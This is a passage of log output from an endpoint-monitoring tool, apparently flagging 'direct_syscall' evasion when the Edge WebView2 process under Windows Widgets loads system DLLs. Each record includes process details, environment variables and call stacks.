EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c444fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7fff93dad25a C:\Windows\System32\combase.dll!Ordinal225|0x7fff93bf87d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf72ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff6ceeed5d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cee4cee C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf14a09 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf13eab C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf19580 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf19469 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2fb8d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1401979 + Pid: 2880 + Tid: 4900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1022106 +0100 CET + Params: base_address➜ 7fff801c0000, checksum➜ 171999, default_address➜ 7fff801c0000, file_path➜ C:\Windows\System32\netapi32.dll, image_size➜ 106496, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff43f0dc36 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1402018 + Pid: 2880 + Tid: 16020 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1072883 +0100 CET + Params: base_address➜ 7fff70a80000, checksum➜ 678716, default_address➜ 7fff70a80000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c444fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7fff93dad25a C:\Windows\System32\combase.dll!Ordinal225|0x7fff93bf923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf8af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7fff93bfa6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7fff6cf1d940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf1bb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf1a59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf26d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf306d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1402131 + Pid: 2880 + Tid: 5040 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1172751 +0100 CET + Params: base_address➜ 7fff8e680000, checksum➜ 146643, default_address➜ 7fff8e680000, file_path➜ C:\Windows\System32\Windows.System.UserProfile.DiagnosticsSettings.dll, image_size➜ 114688, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: 